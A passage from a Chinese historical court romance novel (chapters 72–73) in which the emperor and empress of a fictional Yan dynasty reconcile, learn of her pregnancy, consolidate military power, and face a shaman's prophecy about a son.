乌兰徵愣了一下。稀奇了,这还是萧明绰第一次跟他低头。之前他要走就走,萧明绰绝对不会派人来找他。乌兰徵一时嘴角有些忍不住上扬,但他有意转过去,不让秋桑看见,故作平静道:“皇后有什么事吗?”
“陛下还是亲自去一趟吧。”秋桑还是跟在他身后,“昨儿陛下带去的那位大夫……”
乌兰徵一下子转过头来,动作太猛,把秋桑吓了一跳,话音一下子断了。他完全忘记了那大夫的事儿了。
“皇后肯看大夫了?”
“是梁姑姑坚持的。”
乌兰徵马上往外走,一边走一边问她:“看下来怎么说?”
“奴婢不知道。”
乌兰徵脚下一顿,给了她一个有点儿恼火的眼神。这丫头怎么分不清轻重缓急,说一通废话。
秋桑也有点儿尴尬,小声道:“就是看到一半,梁姑姑叫奴婢马上来找陛下。陛下不在,梁姑姑就让奴婢在这儿等着,不许回去……”
乌兰徵再没耐心听她说完,抬脚就往长秋殿去。天已经蒙蒙亮了,整个长秋殿都还睡着,乌兰徵进来想直接找梁芸姑问,但是守着的是冬青,说梁芸姑去煎药了。他们才说两句话,里面就传来了明绰的声音:“冬青?”
乌兰徵做了个噤声的手势,让她别说话,自己轻手轻脚地走了进去。
明绰躺在床上,看起来根本没有睡。见到是他,马上翻了个身,根本不想看见他。乌兰徵神色有些悻悻的,只好轻轻地坐在她床边。低头一看,明绰的眼睛红红的,一看就是哭过。
乌兰徵斟酌着,轻声道:“我昨晚出去了,秋桑没见着我,这才来迟了……”
他本意是想说不是拿乔不肯过来,但是明绰听见这话,只道:“陛下爱去谁那里就去谁那里,臣妾担不起善妒的罪名,以后再不敢管了!”
“我没有……”乌兰徵顿了顿,见她躺着,又流出了一行眼泪,一时只觉得心疼,伸手轻轻地摸了摸她的头发,“我答应过你,再不会有别的人了。”
明绰别开脸,不要他碰,眼泪却掉得更凶:“那臣妾的罪名就更大了,断了大燕的国祚,是千古的罪人!”
乌兰徵哭笑不得,她怎么把朝上那些混账话都搬出来了。一时也没别的法子,只好道:“你起来,我有话跟你说。”
明绰不理他,仍旧躺着。乌兰徵想了想,手撑在床上,从她身上翻过去,面对面躺在了她身边。明绰翻了个白眼,终于从床上坐了起来。
“陛下说吧,”她语气硬邦邦的,“臣妾听旨。”
乌兰徵也坐起来,让她顶得没脾气了,半晌才道:“过几天就是我生母的忌辰,我想让西觉寺的住持带几位德高的法师进宫来,为她念经超度。”
明绰皱了皱眉,没想到他怎么突然说这个。乌兰徵看她没这么戒备了,才伸手握住了她的手,轻声道:“趁这个机会,把这条旧制废了,明明白白写下来,不许人再提了。”
明绰看了他一会儿,突然问:“真的是你额珂的忌辰吗?”
乌兰徵低下头笑了笑:“不是。”
明绰吸了吸鼻子:“那她忌辰是什么时候?”
乌兰徵摇了摇头:“我不知道。”
从来都没有人敢告诉过他,他只能猜,应该离他的生辰不远吧。
明绰眼泪又往下掉,又生气,又无奈地泻出了一声哭腔。乌兰徵怎么能这样,他怎么能这样惹她生气,然后又让她心疼。太不讲道理了。
乌兰徵让她哭得不明所以,只能手忙脚乱地替她擦眼泪,一边语速都提起来了:“我把那些巫祝也都送回西海去,好了吧?从此以后,长安上下,不许再信奉阿瓦神女,什么咒诅也不许再说了……别哭了,哎呀,你说嘛,你还想要我怎么样?我照办就是了!”
明绰哭得更厉害了。这些话他昨晚不能说吗?他就非得跑出去,一夜见不着人影,让她哭上一晚,然后再回来说这些话?她一把拨开他的手,咬牙切齿,连名带姓:“乌兰徵,我警告你,你以后要是再敢一发脾气就往外跑,你就——”
她话还没说完,乌兰徵已经笑着跟了一句:“再也别进你的门?”
明绰噎了一下,她确实是打算这么说来着,但是被乌兰徵抢了,这威胁就一点分量也没有了——本来就已经很没分量了。她抬手就在乌兰徵肩上狠狠打了一下,乌兰徵随她打了两下,想把她搂进怀里,但是明绰挣扎了一下,又问:“那你昨晚去哪儿了!”
“我……”乌兰徵顿了一下,只道,“出去好好想了想。”
“你在这儿不能想?”明绰又打他,想想又不对,“这点事儿有那么难想吗!”
乌兰徵只好制住她的手:“我就是出去骑了会儿马……”
明绰瞪了他一眼,觉得他有病:“天这么黑,也不怕马别了腿,摔死你!”
乌兰徵只是笑,他的皇后如果满嘴恭敬,那就是在犯上。满嘴犯上的时候,才是真的好了。他全然不以为意,反而又很讨好地凑上来:“我还给你重新挑了一匹性子温驯的,改天再带你去骑马。”
明绰还是板着脸,斜着看他一眼,只道:“不去!”
教她骑马的承诺已经是一拖再拖,当时把明绰从西觉寺接出来,乌兰徵就带她去过马场了。但明绰也就是嘴上说想学,上了马又害怕,再后来就又耽搁下来了。
“不行,”乌兰徵跟她理论,“以后你又要赖我说话不作数。”
明绰脸有些红了,还是那句话:“不去!”
乌兰徵伸手把人往怀里带,刚想上下其手一番,梁芸姑突然走了进来,乌兰徵赶紧松手,手忙脚乱地挠了挠头,又装作很忙乱地理了理袖口。梁芸姑面不改色,对于他们这种晚上吵了架早上又好的行为不予置评,只把手里的药端给明绰,一面转向乌兰徵,皮笑肉不笑地开了口:“皇后一晚上都没有合眼,陛下要是没什么事,就让皇后再睡会儿吧。”
乌兰徵被她那藏都不藏的怨气冲了一下,头都抬不起来。再看明绰,表情看起来也有点儿心虚,把药端过来就喝,一句不敢废话。乌兰徵也只好爬到床边,几乎是没话找话地以示关心:“昨天那大夫看了没什么事吧?还是原来的药吃着吗?”
“换了,”梁芸姑还是那副皮笑肉不笑的表情,把空碗接了回来,“皇后现在喝的是保胎药。”
只听“咚”的一声,乌兰徵脚下一滑,整个人从床边摔了下去。有那么一会儿,他就这样坐在地上,反应不过来似的,看看梁芸姑,又看看明绰。明绰好像嫌她那样子丢人,抬手撑着额头,不忍心看。然后乌兰徵一下子跳了起来,可是还没来得及说话,梁芸姑好像已经知道他要说什么。狂喜也好,难以置信也好,她现在都不想听。
“陛下,”她精准地打断了乌兰徵,下了最后一遍逐客令,这回已经笑都懒得笑了,“让皇后休息吧。”
第72章
乌兰徵非常突然地下了道旨意,要立太医署。
这个事情其实也已经提了好几年了,但是长安一直没有遇到什么大的疫病,国家初立,千头万绪的,就一直搁置着。没想到现在一夜之间,成了陛下心里的头等大事,要朝臣们都举荐不说,还在民间花了重金征辟名医。陛下亲自面选,问来问去都是些妇人妊产等事,所以皇后有孕很快就成了一个所有人都知道的秘密。
但即使所有人都心里有数了,皇后还是什么都没说。
一开始,是因为明绰担心只是误诊。她没什么感觉,吐啊难受啊统统没有,月事迟了也不是没有发生过。可是换了几个大夫,都言之凿凿,就是怀上了。然后她又开始担心之前的出血,时间卡得太近了,是不是孩子有什么损伤。梁芸姑听到这话就哼了一声,显然是很有些教训她的意思。明绰才刚跟她发过脾气,梁芸姑还没消气。所以明绰小心翼翼的,梁芸姑说什么就是什么,端什么药来她都不敢啰嗦,性寒的东西不让吃了就不敢吃,连小时候都没这么听话过。
差不多这么过了半个月,气势汹汹的呕吐终于来了。她腹中的孩子急于证明自己的存在似的,什么都不让明绰吃,闻一闻都要吐。之前她还没事儿人似的跟乌兰徵去了两次大朝会,很快就难受得根本起不来。乌兰徵直接传令把大朝会免了,明绰恶心得死去活来的,还要让人拦住他下的那令,赶他去上朝。
她刚立的规矩,岂能三天两头地随意罢朝?
从那天起,皇后就再没出现在殿上了。
本来乌兰徵马上就要依言追封生母,下明旨废除旧制。但是明绰又觉得,现在所有人都在想皇后是不是怀孕了,这时候闹这一出,等于是昭告天下。可是她胎还没稳,之前又有出血,她担心孩子留不住,若是太早就说了,反而伤心。便主动要乌兰徵再缓一缓,干脆留到年后,他生辰以后再选个日子,虽然不知道到底是哪一天,但到底离母亲真正的忌辰更近一些。
乌兰徵听了心里便很触动。之前明绰那般赌咒发誓,说此制不废,绝不生子,原来也不过是要他一个明确的态度。这会儿天已经凉下来,明绰便安心地在长秋殿养胎,让乌兰徵着手去做他要做的事。
兴和六年十月,大燕皇帝在长安设立直属亲卫羽林军,段太后出面劝说段氏诸将,将麾下兵马并入羽林军。雍州军番号就此消失,段太后终于得到了陛下的谅解,被重新接回皇宫。
随后,段锐及其心腹将领皆得到了提拔,拜为上将,被调往北镇,接替贺儿库莫乞的戍边重任。贺儿库莫乞则被召回长安,奉命统帅由原乌兰部兵马、原雍州军和另外几只零散部队整合而成的一支庞大羽林军。
此时明眼人都看了出来,调任和换将都是为了削弱将领对于手下军队的掌控权,陛下是要收缴军权。
接下来,皇帝的旨意更是一道连着一道,几乎没有给人留下一丝喘息的余地。十一月,皇帝划定了各部驻扎的地方,分了一批名单,要求一部分军户入籍,统一由尚书台的兵曹管理,入了军户的军队将领不能再私自招兵买马,一下子将原本势弱的尚书台重新抬到了国家中枢的地位。十二月,皇帝在原本的武库基础上再设军器监,完全掐断了各部将领自己装备兵马的能力,只能仰赖长安的供给和指挥。
原本跟随乌兰郁弗的西海诸部怨声极
大,但也就嘴上说说,大部分还是乖乖交了兵权。乌兰徵挑挑拣拣,就留了两三个得用的,要么进了羽林军,要么去了尚书台的兵曹,其余的多是封了点虚衔,接到长安养起来了。有两个特别脾气大的,带了手下的人愤而出走,想回西海去。还没走到半路就让贺儿库莫乞率兵伏击,两颗人头一挂出来,便再也没人敢效仿了。
到兴和六年的年底,西海各部已经被乌兰徵收拢了半数,还剩下的人里,实力最强劲的就是乙满。他的大部队都守在潼关附近,是抵抗拔拔真的最重要防线,也是来日继续东征的先锋。乌兰徵反而不动他了,还拜乙满为大司马,让他掌全国军务。
明绰对此大摇其头:“这种事情要一鼓作气,就怕再而衰,三而竭。”
乌兰徵懒洋洋地“嗯”一声,也不知道有没有往心里听。院里笼着炭火,他正烤羊肉。明绰今天好多了,居然主动馋羊肉吃。那东西味道这么大,她没怀孕的时候都不喜欢,现在提出这种要求,乌兰徵马上让人去现杀了一头羊。正好云屏公主也来看皇后,就留下来一起吃。羊肉送过来,大得够开一席,明绰便干脆让长秋殿里所有人都过来,一起围着,热热闹闹地说着笑。
不过宫人到底还是害怕,冬青秋桑她们这样贴身伺候的还自在些,有些洒扫的哪敢,都站得远远的,看着皇后连连阻止陛下再撒盐。
“太咸了!”
“不咸。”乌兰徵不理她,“这么大一块呢。”
明绰将信将疑地看了他一眼,梁芸姑把手捧炉递过来,又给她重新拢好滚毛边大氅,明绰抬起头笑了一声:“我都要被你包得动不了啦!这还有火呢,哪就这么冷了?”
看看乌兰徵,也就是比秋天时候多加了一层布而已。明绰拉着梁芸姑赶紧坐下来,大氅展开,把乌兰辉也包进来。自己又歪过身子,凑过去,把头靠在乌兰徵手臂上,小声问他:“你什么时候学的烤羊?”
“行军的时候。”
明绰抬头看他:“陛下也要自己弄吃的呀?”
乌兰徵笑了一声:“我十二岁的时候可不是‘陛下’。”
那会儿乌兰郁弗也就是一个小小的部落王,西海没田,他们没那么多粮食能带,经常扎完了营去打猎,打着什么吃什么,回来扒了皮往火上一架,可没谁给他都弄好了送到嘴边。
“现在是不用自己弄吃的了。”
明绰笑着调侃了一句:“不得了,我们福气也太好了!”她朝秋桑她们一点下巴,“还不谢恩哪?”
好几个人马上站起来谢恩,引得笑声不断。明绰还是靠在他手臂上,黏黏糊糊的,几乎把半个身子的重量都挂在了乌兰徵身上,看着羊肉上滴下来的油在炭上滋滋作响,突然小声问:“为何军权只收了一半?”
乌兰徵笑了笑,伸手用火钳子拨了拨炭,把火拨得更旺些,只道:“还没到时候。”
明绰抬头看着他。
乌兰徵道:“四方战事未平,若是各地军队都被长安管死了,反应不及,就只有束手待毙的份了。像北镇那种地方,必须给为将者留出随机应变的余地。而且,”乌兰徵压低声音,“要是各地都只靠长安养着,咱们哪来这么多的粮?”
大燕好些地方都还被世家豪强占着,根本收不上粮呢。有些军队能在当地屯田自给那就很不错了,乌兰徵想把所有的东西都抓在自己手里,也得看看手掌有没有那么大。
明绰闻言便叹了一声:“可是陛下的刀已经亮出来了,剩下那些人知道来日等着他们的必是兔死狗烹,难保不会起反心。”
“反了就再打。”乌兰徵说得轻描淡写,不要她担心。一边拔出匕首,割下了一块焦香四溢的羊肉,刚想喂给她,明绰马上“啧”了一声,朝云屏公主那边微微一点头。乌兰徵那只手就拐了个弯,送去了妹妹面前。
乌兰辉脸上红红的,小声道:“谢谢额珈。”
乌兰徵也不知道说什么,就摸了摸她的头。太后听说了皇后曾经为她求过情的事情,也没太多表示,就是最近乌兰辉常会来长秋殿看皇后。她来得多了,见乌兰徵的机会就多了,现在看见皇兄已经没那么怕了。倒是乌兰徵,瞧着还是不知道怎么跟她相处。
明绰很嫌弃地把他的手打开:“满手油不要摸辉儿的头!”
云屏公主缩在她怀里,只嘻嘻地笑。乌兰徵唇边也露出了笑意,这才又割一块,送到明绰面前。明绰闻了一下,皱了皱鼻子,乌兰徵立刻拿开,非常紧张:“又想吐?”
“有点,”明绰也说不明白什么感觉了,“但也想吃。”
乌兰徵也不知道该喂还是不该喂了,明绰示意他拿过来,用手撕了一小块,小心地嚼了两口,然后毫不意外地别过身子,又全吐了。乌兰辉吓了一跳,顾不得吃羊肉,赶紧去拍她的背。乌兰徵也顺手把匕首插回羊身上,倾身过去扶她。明绰吐得眼泪汪汪的,看着眼前烤得滋滋冒油的羊肉,那股味道突然变得完全无法忍受,她猛地起身,转头就进屋去了。
云屏公主不知所措地抬着头:“额珈,姐姐怎么了?”
乌兰徵低头看了看妹妹,说了一句“没事”,便又想摸摸她的头。刚抬起手又想起明绰刚才说的话,于是不尴不尬地又放了下来,只道:“你跟梁姑姑她们一块儿把羊肉分了吧,再带些回去给你额珂。”
云屏公主乖巧地点了点头,乌兰徵便起身也跟着进了屋里。
明绰趴在床上,已经哭了。大氅被她解下来,扔在了地上,乌兰徵俯身捡起来,轻轻地叹了口气,坐到了她床边。明绰坐起来,看他手臂已经张开了,便直往他怀里钻,也不用他问,哭得更大声了:“我饿!”
她是真的饿。她长这么大都没有挨过饿,没想到怀个孩子体会到了挨饿的滋味,可是她又什么都吃不了。而且她现在很想要乌兰徵抱着,但他身上、头发上也是那个油腻的肉味,好恶心。乌兰徵听了这话,只好马上起来,衣服也脱了,又拿水淋了一遍头发。明绰一边哭得抽抽噎噎的,一边还抓着厚衣服跟在他后面,又说:“你别着凉了。”
乌兰徵头发还滴着水,又心疼又好笑地把人抱紧,跟着叹气:“你现在就是说要吃人,我都去给你现杀。”
明绰让他说得也笑起来,眼里还含着眼泪,委委屈屈的,把眼泪都蹭在他的襟口。
到了晚上,明绰也只是勉强地喝进去一点肉汤。倒是长霄殿派了察察来,说太后吃上那炙羊肉了,听云屏公主说皇后吐得厉害,特地送来了薯蓣羹。那羹里加了酸果,明绰竟然吃下去了,一点儿都没有想吐的意思。
察察这才放心了的样子:“能吃下去就好,太后那里还有些薯蓣,一会儿我都送来,让梁夫人再备上一些。太后说,小心皇后夜里要饿。”
明绰心里一动,她确实是晚上特别容易饿,但是往往把大家都折腾醒了,她也吃不了什么,后来她就忍忍算了。太后连这都能想到,想必是自己怀云屏公主的时候也是如此,明绰心里顿生亲近之意,好像这份苦终于不是她一个人在捱了。
“替我多谢太后,”明绰站起来亲自送她,“明日我再去长霄殿给太后问安。”
察察便行了礼退下,临走招招手把梁芸姑一并叫下去了,想必是去跟她说怎么准备薯蓣羹。不过片刻,果然有人送了东西过来,梁芸姑去看了一眼,回来直咂舌。薯蓣这东西地里种不了,都是山里长的,采挖不易,所以市价很高,没想到太后一送就送来了一大筐。明绰那碗还没吃完呢,闻言就愣住了:“那我回什么礼好?”
乌兰徵把碗接过去,接着把最后一点儿喂进她嘴里:“我把辽东得来的野山参赏她。”
“什么赏,”明绰不爱听了,“你给太后东西,这叫孝敬。”
而且山参有什么了不起的,她陪嫁里也有。明绰马上就让梁芸姑去找,找了明天她亲自拿去送给太后。
梁芸姑哭笑不得的,觉得他们家长公主真是不会算账:“薯蓣再难得,也没有山参难得呀!”
明绰留恋地看着碗底,只是摇头。这个时候有什么东西能让她吃下去不吐、又能温补身子、还做得挺好吃,那简直是与黄金等价。
乌兰徵看着她那副没吃饱的馋样便笑了,马上吩咐下去再给皇后做一碗来。等梁芸姑她们都被支使下去了,乌兰徵才轻声跟明绰说了一句:“太后倒是有心示好。”
明绰抬起头,深深地看了他一眼。
皇后如今头等重要的是保胎,太医不让她多思虑,朝堂上的事情只能先不管了。而很多事情,以前本来就是太后料理着,所以她的谏言,乌兰徵还是会听——比如长安并没有那么多粮来养所有的军队,就是太后说的。
其实这一点,明绰倒也没有那么忌惮。乌兰徵再怎么还政如初,太后手里到底是没有了倚仗。失去了雍州军以后,她就像是变了个人。回宫那天,乌兰徵摆了场小宴相迎,太后与西海权贵们同席,不仅与贺儿薄谈笑风生,甚至还与乙满互相敬了一杯酒,明绰都怀疑自己看错
了。
细细一想,这一切也都很合理。段太后愿意上交兵权本就在明绰意料之中,她若还死守着雍州军,只会进一步引得乌兰徵的猜忌,及时配合皇帝收拢军权,修复母子之间的关系,反而能提醒皇帝,齐木格死了也不是没有好处。她走这一步,是时也势也,没有别的选择了。既然如此,肯定是要顺着皇帝的心意,和西海权贵们杯酒泯恩仇。跟皇后之间本就没什么深仇大恨,更应该好好地相处,毕竟,等明绰生下了孩子,皇后的地位会更加不可撼动。
但对明绰来说,比薯蓣更难得的是太后那一份理解的心。乌兰徵再怎么关心,到底是根本不知道她什么感觉。可是段知妘知道。
明绰意味深长地挑了挑眉:“陛下想说什么?”
乌兰徵挠了挠头,神色竟有几分尴尬:“也没什么。”
他只是不明白这两个女人之间到底关系算是好还是不好。曾经太后想要扶植皇后,可是皇后也表明了不愿受她的控制。大燕只容得下一个掌权的女人,她们的地位早已悄然翻转。
可若说两人互为掣肘,彼此争权,又不尽然。太后被关在西觉寺中的时候,皇后会求情;皇后跟他争执,太后也会帮忙开解。两人见面的时候不冷不热,可是背过去,太后又会关心皇后怀着孩子辛苦。
明绰笑了笑,握住了乌兰徵的手:“陛下也别把我想得这么小气。如今我在朝堂上帮不上什么忙,就要去忌惮能帮上忙的人?我就这么见不得陛下顺心,见不得朝局安定吗?”
乌兰徵看着她,好一会儿,把她揽进了自己怀里。
是挺顺心的。他想,再没有比这更顺心的时候了。
第73章
西海人原本并没有过年的习惯,这也是乌兰郁弗入主长安以后才有的新俗,年尾的大祭礼虽然是跟汉人学来的,但又融合了西海原本的神女信仰,向来是由西海的巫祝来主持,向神女献祭,消灾祈愿。
但现在乌兰徵有意尊佛,还没到除夕,就已经请了西觉寺的高僧们进宫礼佛拜忏。也不知道是谁先传出来的消息,说陛下今年不打算让巫祝主持祭礼,要改让和尚们念经了。那些顽固信仰神女的西海权贵们马上不干了,乌兰徵还什么都没说呢,他们已经吵得没完没了。乙满在殿上旧事重提,当时出征之前乌兰徵先去了西觉寺,然后才向神女占卜,引得神女不满,占卜的结果就不太好,果然最后无功而返,所以万万不能再得罪神女了。
明绰看着乌兰徵虽然拉着张脸,但沉默不言,显然是有些被乙满说中了心事的样子。
第二日大清早,梁芸姑就来报,说女巫医到了。
明绰还没起身,闻言皱了皱眉:“哪个女巫医?”
梁芸姑伸手比划,就是当年那个说铅粉有毒,陛下很是信任的……她说到一半,明绰就想起来了,那女巫医当年说额雅救不活,明绰老大不高兴地把人送走了,后来就再也没见过她。立后大典的时候,主持仪式的是一个老得都看不出男女的巫祝,不是她。
明绰从床上坐起来:“她来做什么?找陛下?”
但乌兰徵这几天没宿在长秋殿。太医交代不能同房,但他夜夜躺在身边,别说乌兰徵了,明绰自己也烦,干脆把他赶回去,大家都落个清净。
“让她去剑器阁。”
梁芸姑:“不,她说就是来见皇后的。”
明绰只好招招手,让冬青来伺候她起身。她知道那女巫医深受乌兰徵的信任,有宫禁行走的自由,也不好让她久等,所以头发也没好好梳,罩了一件大袍就把人唤了进来。那巫医还是跟当年一样,脸上涂了油彩,发间装饰着羽毛,只是身上穿得厚实了一些,但不像是精致的滚毛边,倒像是一整件的皮毛扒下来,就这样套在了身上。
她进来行礼,非常恭敬地整个人完全跪下:“可敦。”
“拜耶哥,”明绰还记得她的名字,“快起来,先坐下喝茶。”
她知道拜耶哥的汉话说得十分生硬,便干脆换了乌兰语。到长安四年了,虽说跟冯濂之、温峻之流比起来还远不如,但必要的时候,明绰也能说得挺流利了。果然,拜耶哥露出了一个微笑:“可敦的乌兰语长进了。”
“多谢你夸奖。”明绰也坐下来,让人递茶给她,“今日来找我何事?”
拜耶哥没喝茶,眼睛一瞬不瞬地盯着明绰看,看得明绰倒不好意思起来,摸了摸自己的脸:“怎么了?”
拜耶哥:“可敦要有孩子了。”
明绰愣了一下,她有孕的消息还没正式公布,乌兰徵打算在年尾祭礼的时候再敬告天地。不过她也知道宫里宫外早就传遍了,所以只是微怔,便笑了笑:“是啊。”
拜耶哥突然伸出双手,示意明绰也把双手放在她的手心。明绰犹豫了片刻,鬼使神差地伸出了手。拜耶哥握住她的手,伸到了自己的鼻尖,像狼似的皱起了鼻子,在她两只手心各闻了闻,然后绕过了两人之间的茶案,突然撩开了明绰的大袍。明绰吓了一跳,还没来得及阻止,拜耶哥已经把耳朵贴到了她的肚子上。
梁芸姑刚出了个声想拦,明绰朝她使了个眼色,让她别动。拜耶哥贴得紧紧的,口中轻声吟唱着明绰听不懂的话,然后又安静下来,像是凝神听着什么。其实明绰还没有显怀,这样被拜耶哥贴着肚子,有些怪怪的,正要说什么,拜耶哥又放开了她,轻声道:“是男孩。”
“啊?”明绰愣住了,“这就看出来了?”
乌兰徵早就问了各路太医不知道多少次,都说现在还看不出。
拜耶哥重新坐好,只道:“这是神女恩赐的儿子。”
明绰愣了一下,觉得这话怎么像是在哄她高兴。
“是不是男孩儿不要紧,”明绰笑了,她是真心觉得是男是女都没关系,“就算是公主,我和可汗也是一样的疼。”
拜耶哥摇了摇头:“可汗不想要公主。”
明绰眉头一皱,听着不太高兴。她知道乌兰徵想要继承人,但就算生的是公主,也不至于“不想要”吧?
“可汗曾向神女祈求儿子,现在神女给了他儿子。”拜耶哥还是那样直勾勾地看着明绰,“即便可敦不想要。”
明绰不由微微变了脸色:“你怎么知道……”
但她话还没说完,拜耶哥已经打断了她:“神女的赐福在可敦这里,若是可汗背弃,神女就会收回她的赐福。”
梁芸姑忍无可忍地喝了一声:“你放肆!”
拜耶哥抬起头看着她。梁芸姑伸手就来搀明绰,低声在她耳边道:“咱们不听这等腌臜话!”
明绰脸已经白了:“可是……”
梁芸姑眉毛一竖,转头对拜耶哥道:“不过是为了陛下要改宗,就来这里吓唬皇后,欺负皇后年纪轻不经事,你好大的胆子!若神女当真这般法力无边,怎么连陛下的心意都左右不了?还不快快出去!陛下要是知道你敢威胁皇后,看他要不要你的脑袋!”
拜耶哥任她连珠炮似的斥了一顿,也不说话,不知道是因为汉话没听明白,还是不愿意反驳。好一会儿,她朝明绰看了一眼,那神情竟是十分哀伤,然后行了个大礼,就这样一言不发地站起来走了。
她是走了,明绰一整天都心神不宁起来。什
么叫“收回去”?她会失去这个孩子吗?这种恐惧对于一个即将成为母亲的人来说太深了,她无论如何还是不安。
“可是当年,她说了一句救不活,额雅分明都好起来了,还是突然就……”
梁芸姑摁住她的手,不让她瞎想:“她到底沾个‘医’字,人能不能活,自然是一眼就看得出来的。叱云夫人当年本就是回光返照,不是好起来了。”
明绰沉默了一会儿,半晌,抚着小腹,自语似的:“真是儿子吗?她怎么这么确定?”
“不是儿子就是女儿,总有一半的机会能猜对。”梁芸姑都笑了,“孩子出生还早,她现在先把皇后唬住了,保住他们那些巫祝和祭司的地位才是最要紧的。到时候若生的不是儿子,她自然也有话说,不然就是陛下和皇后哪里做得不好,神女又不满意了,才把儿子给换了,说不定还哄得陛下更虔诚呢!鬼神之说,三分敬,七分惧,这些方士的手段一贯如是,就是吓唬人,没什么新鲜的。”
明绰抬起头看着她,眼睛一眨,又一眨。好像是这么回事儿。
“你母后就从来不信这些。”梁芸姑顿了顿,唤了她的乳名,“溦溦,天家自来不必跪佛。你看看这些神女啊,佛祖啊,听着多么了不起,最后还不是看陛下的心意?这天下,最大的还是人。”
明绰听她这样说,心里便定了许多,也觉得自己刚才有些昏了头了,不好意思地笑了笑,撒娇似的抱住了她的腰,很依恋地偎进她怀中:“芸姑,没有你我可怎么办呀?”
梁芸姑摸了摸她的头发:“说什么傻话。”
明绰还是哼哼唧唧的,跟她撒娇。梁芸姑笑起来:“自己都要做阿娘的人了,怎么还跟小孩子一样。”
“你刚才还说我年轻不经事呢,”明绰理直气壮,“我不就是小孩子吗?”
梁芸姑忍俊不禁,用力把她抱紧一些,像小时候哄她一样,脸颊贴了贴她的额头:“那要回去再睡一会儿,还是我伺候皇后梳头?”
明绰怀了孩子以后嗜睡得很,也是好长时间没这么早起来了。但既然起来了,她还是让梁芸姑给她梳妆,正好她去见见太后。
她一到长霄殿,最高兴的自然还是乌兰辉。小公主今天玩儿得疯,跑得小脸红扑扑的,老远就朝明绰冲刺过来。段知妘连声“诶诶诶”地截住她,佯作发怒地拍了拍她的屁股:“姐姐怀着孩子,可经不起你这么撞。”
乌兰辉挨了两下,反正也不疼,笑着把什么东西举起来给明绰看,明绰定睛一看,竟是颗牙。乌兰辉再咧开嘴,让她看嘴里黑洞洞的一块,新换的牙齿已经露出了一个小尖尖。
“它自己掉的?”
“不是。”乌兰辉很得意地扬起了下巴,“贺儿冲要给我拔,说我不敢。我眼睛一闭就让他拔了!”
明绰笑得不行:“辉儿真厉害!”
乌兰辉听到这句就满意了,把牙齿交给了段知妘。明绰看着段知妘接过去,露出了一个微微嫌弃,又无可奈何的表情,就笑得更加厉害。乌兰辉马上又跑了出去,显然又去跟贺儿冲玩了。段知妘马上招招手,让察察把这颗牙拿下去,一边跟明绰抱怨什么似的:“一颗牙都不许丢,上回一颗找不见了,闹得天翻地覆的,真不知道她要干什么。”
察察已经拿出了给小公主存乳牙的匣子,说了一句:“是贺儿冲说,要给公主把这些牙齿做成一条项链呢。”
明绰微微收敛了笑意:“贺儿冲比公主大了好些岁呢,怎么突然玩得这样好?”
段知妘挑了挑眉,端了茶来饮,什么都没说。于是明绰便明白了,云屏公主跟贺儿家的小孩儿玩得好,便是太后终于和西海权贵们和谐共处了,乌兰徵当然看得高兴。但是明绰对贺儿冲没什么好印象,总觉得这个男孩儿年纪不大,却有一些天性里的残忍。刚才乌兰辉满脸高兴,明绰竟也没察觉,等她跑开了一想,又觉得贺儿冲竟然要生拔小公主的牙齿,这不是欺负人么?
但段知妘没放在心上,听她这么说,也只是摆了摆手:“男孩都是这样,我兄长们小的时候还把我摁在地上打呢。”
明绰惊得“啊?”一声,倒把段知妘看笑了:“你跟你皇兄不打架啊?”
何止是不打。明绰有些尴尬地也喝茶,没回答这个问题。
段知妘自己猜了猜:“一母同胎的,他也没比你大多少,小时候打不过你吧?”
明绰哭笑不得的,其实萧盈还是比她大了一两岁的,只是外人都不知道。他们十岁的时候,萧盈就已经比她高出好多了,他真要跟贺儿冲那样欺负人,明绰也是还不了手的。但是听段知妘那意思,好像男孩儿只要是能打得过,就会欺负妹妹。
还是生个女儿好。
段知妘放下茶杯:“琢磨什么呢?”
“没什么,”明绰突然想到一件事,“太后当初怀着辉儿时,可有巫医来看过孩子是男是女?”
“看过啊,”段知妘讽刺地笑了一声,“一说是女儿,大可汗连问都懒得多问了。”
明绰心里轻轻一坠:“他们说得很准吗?”
“是有点儿邪门。”段知妘撇了撇嘴,“巫医在这上头就没出过错,他们也不把脉,不知道怎么看出来的。”
明绰便没有言语,也没有把拜耶哥说的话告诉太后。又闲坐了一会儿,叙了些不要紧的话。自从上次送了薯蓣,明绰又还了山参,就好像当日太后强逼皇后下令的事情完全没发生过,如今两人又跟明绰刚来长安时候差不多了。段知妘只要不算计明绰,就是一个相处起来很舒服的人。不知不觉间,便谈到了朝中一桩事情,明绰竟然完全没有听说。
当时乌兰徵允许西觉寺在山后凿窟修佛像,这种礼佛的方式一下子风行开来,长安附近有不少佛寺效仿,信众们也慷慨掏钱。但是最近有朝臣上书,说有些佛寺以此敛财,一头骗了信众的钱,另一头拐了苦力去那荒郊野岭的地方凿窟做工,人命都出了好几条了。
“无怪乎你皇兄要这般下重手整治。”段知妘也是有些咬牙切齿的,“这些个和尚,嘴上都是修行,要钱害人的时候可是一点儿都想不起来佛祖!眼皮子这样的浅,这些不争气的东西!现在陛下不高兴,倒又成了我的不是了。”
明绰:“当初是我劝的陛下,怎么会是太后的不是呢?”
“你现在怀着孩子,自然都是我的不是。何况我本就……”
段知妘顿了顿,神色似有些尴尬,不再往下说。明绰就知道乌兰徵为什么没告诉她了,这种事情,说了就好像责怪她一样。她只好当做没听见,又说了几句筹备宫里过年节的事情。乌兰徵的兄弟姊妹们大多不在了,立国又不久,所谓的“宗亲”,其实不多。但是今年皇后有了身孕,乌兰徵还是打算把乌兰部那些亲族们都叫进宫来宴饮,那人数还是相当可观的。这样的大宴筹备起来太操劳,肯定是不能劳动明绰的,最后还是都落在了太后身上。段知妘半真半假地抱怨了几句,说她和那些乌兰人如今倒是不得不彼此都捏着鼻子整日相对。一时叙完了,天都黑了,梁芸姑扶着明绰出来,看到外面不知何时已经积了薄薄的一层雪。
“我去传轿辇来。”梁芸姑说着就要走,但是明绰把她拉住了。
“就
这么点路,走走吧。”
“不行,”梁芸姑道,“滑倒了可是不得了的事情。”
“那你扶着我。”明绰一把抱住了她的手臂,已经往前迈了两步,梁芸姑赶紧稳稳地把她搀好。好在有宫人提灯,路上也不算黑,她们慢慢地走,这点雪也没什么。只是走着走着,梁芸姑便听见明绰叹了口气。
“怎么了?”梁芸姑终于分了个心,不再那么紧张地看路。
明绰没头没尾的,只道:“西海巫医看男看女,没出过错呢。”
梁芸姑便不以为然的:“凑巧碰对几次罢了,谁知道以前的事情呢?”
明绰摇了摇头:“重要的不是他们是不是真的对,是陛下信什么。”
梁芸姑脚步一顿,看着明绰。
